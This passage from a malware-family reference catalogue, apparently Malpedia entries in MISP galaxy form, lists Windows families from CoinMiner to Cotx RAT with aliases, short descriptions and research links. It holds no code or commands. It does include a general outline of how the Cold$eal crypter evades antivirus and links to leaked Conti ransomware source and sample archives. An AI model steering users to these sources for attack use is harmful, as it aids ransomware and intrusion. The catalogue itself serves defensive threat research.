https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer

https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://www.triskelelabs.com/investigating-monero-coin-miner
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://secrary.com/ReversingMalware/CoinMiner/

coldbrew

The tag is: *misp-galaxy:malpedia="coldbrew"*

coldbrew is also known as:

Table 1905. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldbrew
https://businessinsights.bitdefender.com/hypervisor-introspection-thwarts-web-memory-corruption-attack-in-the-wild

ColdLock

The tag is: *misp-galaxy:malpedia="ColdLock"*

ColdLock is also known as:

Table 1906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldlock
https://www.trendmicro.com/en_us/research/20/i/u-s—justice-department-charges-apt41-hackers-over-global-cyberattacks.html
https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5

Cold$eal

Cold$eal is a packer for encrypting (sealing) malware. It contains some AV-evasion techniques as well as some sandbox-detection. It was developed by $@dok (aka Sadok aka Coldseal). It was available as a cryptor service under the url coldseal.us and was later sold as a toolkit consisting of the cryptor and a custom made cryptostub including a FuD garantee backed by free update to the cryptostub. The payload was encrypted using RC4 and added to the cryptostub as a resource. The encryption key itself was stored inside the resource as well. Upon start the cryptostub would extract the key, decrypt the payload and perform a selfinjection using the now decrypted payload. Note: The packed sample provided contains some harmless payload, while the unpacked sample is the bare cryptostub without a payload.

The tag is: *misp-galaxy:malpedia="Cold$eal"*

Cold$eal is also known as:

- ColdSeal

Table 1907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal
https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/
https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html
https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html
https://www.youtube.com/watch?v=242Tn0IL2jE
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/

ColdStealer

The tag is: *misp-galaxy:malpedia="ColdStealer"*

ColdStealer is also known as:

Table 1908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer
https://asec.ahnlab.com/ko/31703/
https://asec.ahnlab.com/en/32090/

Colibri Loader

The tag is: *misp-galaxy:malpedia="Colibri Loader"*

Colibri Loader is also known as:

Table 1909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri
https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/

https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://fr3d.hk/blog/colibri-loader-back-to-basics
https://github.com/Casperinous/colibri_loader

CollectorGoomba

The tag is: *misp-galaxy:malpedia="CollectorGoomba"*

CollectorGoomba is also known as:

- Collector Stealer

Table 1910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba
https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/

Colony

The tag is: *misp-galaxy:malpedia="Colony"*

Colony is also known as:

- Bandios
- GrayBird

Table 1911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colony
https://pastebin.com/GtjBXDmz
https://twitter.com/anyrun_app/status/976385355384590337
https://secrary.com/ReversingMalware/Colony_Bandios/

Combojack

The tag is: *misp-galaxy:malpedia="Combojack"*

Combojack is also known as:

Table 1912. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/

Combos

The tag is: *misp-galaxy:malpedia="Combos"*

Combos is also known as:

Table 1913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combos
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

ComeBacker

This malware was found in a backdoored Visual Studio project that was used to target security researchers.

The tag is: *misp-galaxy:malpedia="ComeBacker"*

ComeBacker is also known as:

Table 1914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker
https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/
https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/
https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/
https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/
https://www.anquanke.com/post/id/230161

Comfoo

The tag is: *misp-galaxy:malpedia="Comfoo"*

Comfoo is also known as:

Table 1915. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.comfoo
https://www.secureworks.com/research/secrets-of-the-comfoo-masters

ComLook

The tag is: *misp-galaxy:malpedia="ComLook"*

ComLook is also known as:

Table 1916. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook
https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook
https://twitter.com/ClearskySec/status/1484211242474561540

ComodoSec

The tag is: *misp-galaxy:malpedia="ComodoSec"*

ComodoSec is also known as:

Table 1917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

COMpfun

The tag is: *misp-galaxy:malpedia="COMpfun"*

COMpfun is also known as:

- Reductor RAT

Table 1918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://securelist.com/compfun-successor-reductor/93633/

https://securelist.com/it-threat-evolution-q2-2020/98230
https://securelist.com/compfun-http-status-based-trojan/96874/
https://securelist.com/apt-trends-report-q2-2019/91897/

Computrace

The tag is: *misp-galaxy:malpedia="Computrace"*

Computrace is also known as:

- lojack

Table 1919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace
https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html
https://asert.arbornetworks.com/lojack-becomes-a-double-agent/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/

ComradeCircle

The tag is: *misp-galaxy:malpedia="ComradeCircle"*

ComradeCircle is also known as:

Table 1920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle
https://twitter.com/struppigel/status/816926371867926528

concealment_troy

The tag is: *misp-galaxy:malpedia="concealment_troy"*

concealment_troy is also known as:

Table 1921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

Conficker

The tag is: *misp-galaxy:malpedia="Conficker"*

Conficker is also known as:

- Kido
- downadup
- traffic converter

Table 1922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker
http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md
https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido—conficker
https://www.minitool.com/backup-tips/conficker-worm.html
https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
http://contagiodump.blogspot.com/2009/05/win32conficker.html
https://github.com/tillmannw/cnfckr
https://redcanary.com/blog/intelligence-insights-january-2022/

Confucius

The tag is: *misp-galaxy:malpedia="Confucius"*

Confucius is also known as:

Table 1923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/

Conti (Windows)

Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.

The tag is: *misp-galaxy:malpedia="Conti (Windows)"*

Conti (Windows) is also known as:

Table 1924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conti
https://github.com/TheParmak/conti-leaks-englished
https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/
https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/
https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://thedfirreport.com/2021/05/12/conti-ransomware/
https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/
https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks
https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months
https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware
https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru
https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/
https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/
https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/
https://www.mbsd.jp/research/20210413/conti-ransomware/
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one
https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/
https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728
https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider
https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html
https://securelist.com/luna-black-basta-ransomware/106950
https://twitter.com/TheDFIRReport/status/1498642512935800833
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html

https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf
https://www.prevailion.com/what-wicked-webs-we-unweave/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd
https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/
http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/
https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again
https://share.vx-underground.org/Conti/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html
https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/
https://www.youtube.com/watch?v=hmaWy9QIC7c
https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/
https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent
https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/
https://intel471.com/blog/conti-leaks-cybercrime-fire-team

https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/
https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked
https://intel471.com/blog/shipping-companies-ransomware-credentials
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2
https://www.youtube.com/watch?v=uORuVVQzZ0A
https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles
https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/
https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html
https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed
https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/
https://twitter.com/AltShiftPrtScn/status/1423188974298861571
https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia
https://twitter.com/AltShiftPrtScn/status/1350755169965924352
https://www.youtube.com/watch?v=cYx7sQRbjGA
https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/
https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems

https://github.com/whichbuffer/Conti-Ransomware-IOC
https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/AltShiftPrtScn/status/1417849181012647938
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://redcanary.com/blog/intelligence-insights-november-2021/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware
https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/
https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://www.ic3.gov/Media/News/2021/210521.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf
https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf
https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir
https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-265a
https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://github.com/cdong1012/ContiUnpacker
https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/
https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098
https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/
https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf

https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/
https://www.ironnet.com/blog/ransomware-graphic-blog
https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve
https://arcticwolf.com/resources/blog/karakurt-web
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf
https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/
https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/
https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/
https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti
https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/
https://unit42.paloaltonetworks.com/conti-ransomware-gang/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.threatstop.com/blog/conti-ransomware-source-code-leaked
https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/
https://www.connectwise.com/resources/conti-profile
https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love

Contopee

FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.

The tag is: *misp-galaxy:malpedia="Contopee"*

Contopee is also known as:

- WHITEOUT

Table 1925. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://content.fireeye.com/apt/rpt-apt38
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks

CookieBag

The tag is: *misp-galaxy:malpedia="CookieBag"*

CookieBag is also known as:

Table 1926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

CopperStealer

The tag is: *misp-galaxy:malpedia="CopperStealer"*

CopperStealer is also known as:

Table 1927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.copper_stealer
https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft
https://www.trendmicro.com/en_us/research/22/h/copperstealer-distributes-malicious-chromium-browser-extension-steal-cryptocurrencies.html

Corebot

The tag is: *misp-galaxy:malpedia="Corebot"*

Corebot is also known as:

Table 1928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/
https://www.crowdstrike.com/blog/ecrime-ecosystem/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf

CoreDN

The tag is: *misp-galaxy:malpedia="CoreDN"*

CoreDN is also known as:

Table 1929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn
https://blog.alyac.co.kr/2105
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content
https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription
https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/

Coreshell

The tag is: *misp-galaxy:malpedia="Coreshell"*

Coreshell is also known as:

- SOURFACE

Table 1930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://malware.prevenity.com/2014/08/malware-info.html
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

CoronaVirus Ransomware

The tag is: *misp-galaxy:malpedia="CoronaVirus Ransomware"*

CoronaVirus Ransomware is also known as:

- CoronaVirus Cover-Ransomware

Table 1931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware
https://id-ransomware.blogspot.com/2020/03/coronavirus-ransomware.html

CosmicDuke

The tag is: *misp-galaxy:malpedia="CosmicDuke"*

CosmicDuke is also known as:

Table 1932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke
https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/
https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf

Cotx RAT

The tag is: *misp-galaxy:malpedia="Cotx RAT"*

Cotx RAT is also known as:

Table 1933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://vblocalhost.com/uploads/VB2020-20.pdf
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf
https://www.youtube.com/watch?v=1WfPlgtfWnQ
